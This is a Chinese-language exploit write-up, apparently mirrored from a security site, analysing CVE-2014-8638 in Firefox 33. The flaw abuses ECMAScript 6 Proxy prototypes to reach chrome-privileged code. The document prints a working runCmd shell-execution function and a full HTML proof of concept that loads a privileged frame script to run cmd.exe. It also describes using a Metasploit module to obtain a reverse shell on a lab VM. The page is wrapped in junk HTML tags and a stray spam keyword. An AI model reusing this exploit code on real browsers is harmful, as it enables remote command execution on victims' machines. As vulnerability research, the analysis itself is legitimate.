<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/5350

            0x00 前言


            前段時間,二哥在很多瀏覽器中將腳本層面的漏洞提升為遠程命令執行,幾乎日遍市面上所有國產瀏覽器,這成為了許多人津津樂道的話題。確實,在當今這個底層安全防護越來越強的環境下,堆棧溢出、UAF造成的漏洞利用起來變得很困難,但如果借助瀏覽器提供的一些腳本層接口做到RCE,將是一個是兩撥千金的過程。

            CVE-2014-8638就是這樣一個漏洞,而且影響到的不是國(shan)產(zhai)瀏覽器,而是大名鼎鼎的Firefox。它也是javascript逐步進入ECMAScript 6時代后遇到的一個比較有意思的漏洞。

            0x01 漏洞的發現


            Firefox是較早引入ECMAScript 6特性的瀏覽器,Proxy 就是一個ECMAScript 6特性,它可以用來hook javascript原生的get/set方法。比如如下代碼:

            #!javascript
            var x = {};  
            var p = Proxy(x, {  
              get: function() {  
                console.log('getter called!');  
                return 'intercepted';  
              },  
              set: function() {  
                console.log('setter called!');  
              }  
            });  
            
            console.log(p.foo);  
            p.bar = 1;
            

            執行后將會得到如下結果:

            enter image description here

            這個方法為javascript注入了新的血液,但也帶來了新的安全問題。Getter和Setter將導致我們將沒有特權的javascript代碼注入到有特權的javascript代碼之前,這些代碼在后面檢查權限的函數之前,所以他們是有特權的。Chrome下也出現過由于這個原因導致的問題:LINK1LINK2 ,大家也可以下去自己研究一下。

            經過作者的研究,當我們把Proxy對象作為其他對象的prototype時,就會出現一些問題,比如如下代碼就能宕掉服務器:

            #!javascript
            document.__proto__?=?Proxy.create({getPropertyDescriptor:function(){?while(1)?{}?}});??
            

            不過除此之外,作者當時并沒有想到更好的利用方法,所以就提交到mozilla官方了,firefox在35版本修復了這個問題。

            0x02 突破點


            作者后來做了如下嘗試:

            #!javascript
            var props = {};  
            props['has'] = function(){  
              var chromeWin = open("chrome://browser/content/browser.xul", "x")();  
            };  
            document.__proto__ = Proxy.create(props)  
            

            驚奇的發現,當我們在Proxy中,嘗試打開一個特權頁面“chrome://browser/content/browser.xul”的時候,居然只是彈出了“阻止窗口彈出”的提醒。這說明特權頁面是可以被輕易打開的,這個提醒也可以通過點擊頁面的方式繞過。

            0x03 chrome:意味著什么


            我們能夠打開一個域為chrome://browser/content/browser.xul的頁面,以為著什么?

            火狐和其他很多瀏覽器一樣,都有自己的特權域。不同的URI schemes意味著不同的權限。Chromium的特權域是chrome://downloads,Safari的是file://。Firefox的特權域是chrome://,只要在這個域下的javascript擁有瀏覽器的最高權限。所以我們能用這樣的javascript干很多事,比如執行shell命令。

            你可以試著打開chrome://browser/content/browser.xul并在控制臺下執行如下代碼(linux/osx):

            #!javascript
            function runCmd(cmd) {  
                var process = Components.classes["@mozilla.org/process/util;1"]  
                          .createInstance(Components.interfaces.nsIProcess);  
                var sh = Components.classes["@mozilla.org/file/local;1"]  
                        .createInstance(Components.interfaces.nsILocalFile);  
                sh.initWithPath("/bin/sh");  
                process.init(sh);  
                var args = ["-c", cmd];  
                process.run(true, args, args.length);  
            }  
            runCmd("touch /tmp/owned"); 
            

            執行后,可以發現/tmp/owned已經創建,touch命令執行成功。

            所以,一旦攻擊者能夠將代碼注入到這個頁面,就可以執行任意命令了。

            0x04 注入代碼


            那么怎么注入代碼到這個頁面?

            眾所周知,瀏覽器同源策略(SOP)將不會允許我們在http://attacker域下注入代碼到chrome://browser域下。非常幸運的是,作者以前就做過類似的研究:LINK

            當open的第三個參數有傳入”chrome”的話,并且在擁有特權的docshell 下調用,那么我們的URL就會以“top-level frame”的形式被打開(形似“首選項”那種頁面),并且沒有傳統的document對象(就是一個白白的面板)。這樣的窗口,擁有一個messageManager屬性,能夠訪問其他docshell(特權是通行的~嘿):

            #!javascript
            // abuse vulnerability to open window in chrome://  
            var c = new mozRTCPeerConnection;  
            c.createOffer(function(){},function(){  
                var w = window.open('chrome://browser/content/browser.xul', 'top', 'chrome');  
            
                // we can now reference the `messageManager` property of the window's parent  
                alert(w.parent.messageManager)  
            });  
            

            messageManager是firefox中的特權API,能夠在線程間傳遞信息。同樣,javascript也是可以傳遞的,方式是使用loadFrameScript函數。

            0x05 命令執行


            作者其實這塊寫的特別簡略,直接告訴我可以怎樣寫metasploit exploit,可明明POC都沒告訴我呀!!對于我這種沒開發過firefox插件、沒讀過源碼的通知簡直就……我想到一張操蛋的圖:

            enter image description here

            對,就像這樣……

            于是我更新了metasploit,生成了一個exploit來研究。得出了如下的POC:

            #!javascript
            <!doctype html>
            <html>
            <body>
            <script>
            var opts = {"zqwessa123": "\n         (function(){var process = Components.classes[\"@mozilla.org/process/util;1\"].createInstance(Components.interfaces.nsIProcess);var sh = Components.classes[\"@mozilla.org/file/local;1\"].createInstance(Components.interfaces.nsILocalFile);sh.initWithPath(\"C:\\\\windows\\\\system32\\\\cmd.exe\");process.init(sh);\nvar shell='calc.exe';var args = [\"\/c\", shell];\n process.run(true, args, args.length);})();\n\n"};
            var key = opts['zqwessa123'];
            var props = {};
            props.has = function(n){
                if (!window.top.x && n=='nodeType') {
                  window.top.x=window.open("chrome://browser/content/browser.xul", "x",
                    "chrome");
                  if (window.top.x) {
                    Object.setPrototypeOf(document, pro);
                    setTimeout(function(){
                      x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
                      setTimeout(function(){
                        x.messageManager.loadFrameScript('data:,'+key, false);
                        setTimeout(function(){
                            x.close();
                        },100);
                      }, 100)
                    }, 100);
                  }
                }
            }
            var pro = Object.getPrototypeOf(document);
            Object.setPrototypeOf(document, Proxy.create(props));
            </script>
            
              The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected.
            </body>
            </html>
            

            過程還是比較簡單,首先創建Proxy對象,實現has方法,has方法實際上就是hook了對象的“in”操作,具體可見Proxy文檔。然后將document的prototype設置為Proxy對象,這樣實際上我們接管了document的in操作,并且這些代碼是有特權的。

            使用之前講的方法打開chrome://browser/content/browser.xul,獲得了messageManager屬性,用data協議構造了一個iframe,并將要執行的javascript代碼也以data協議的形式用messageManager. loadFrameScript加載,執行特權API。

            注意,因為在docshell中,所以是沒有傳統的window對象、document對象,所以你調用alert、console等方法是沒用的。opts對象中的那一串javascript就是最后執行的特權API,通過process.run執行C:\windows\System32\cmd.exe /c calc.exe,效果是彈出一個小計算器:

            enter image description here

            一個簡單的POC就此誕生了。

            然后,不得不說metesploit中的 firefox_proxy_prototype模塊,通過這個模塊生成的exploit可以直接反彈shell。

            enter image description here

            虛擬機10.211.55.3上Firefox版本是33,在影響范圍內,打開http:// 10.211.55.2:12306/m0EbugSmqwCW1PP ,隨意點擊一處,即可觸發。

            主機上等待上線:

            enter image description here

            這邊反彈成功,可以看到,已經拿下10.211.55.3的用戶權限shell。

            0x06 資料


            原文:LINK

            測試的FF33我在這里下載的:LINK

            Windows下的POC:LINK

            一個小演示:LINK

            還有很多點,作者雖然沒在本文說明,但基本都可以從作者文章鏈接所指向的文章看到。顯然作者對瀏覽器漏洞的研究是一個過程,就像一部動漫,如果你不看前面的部分,這部分內容就可能比較難懂。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线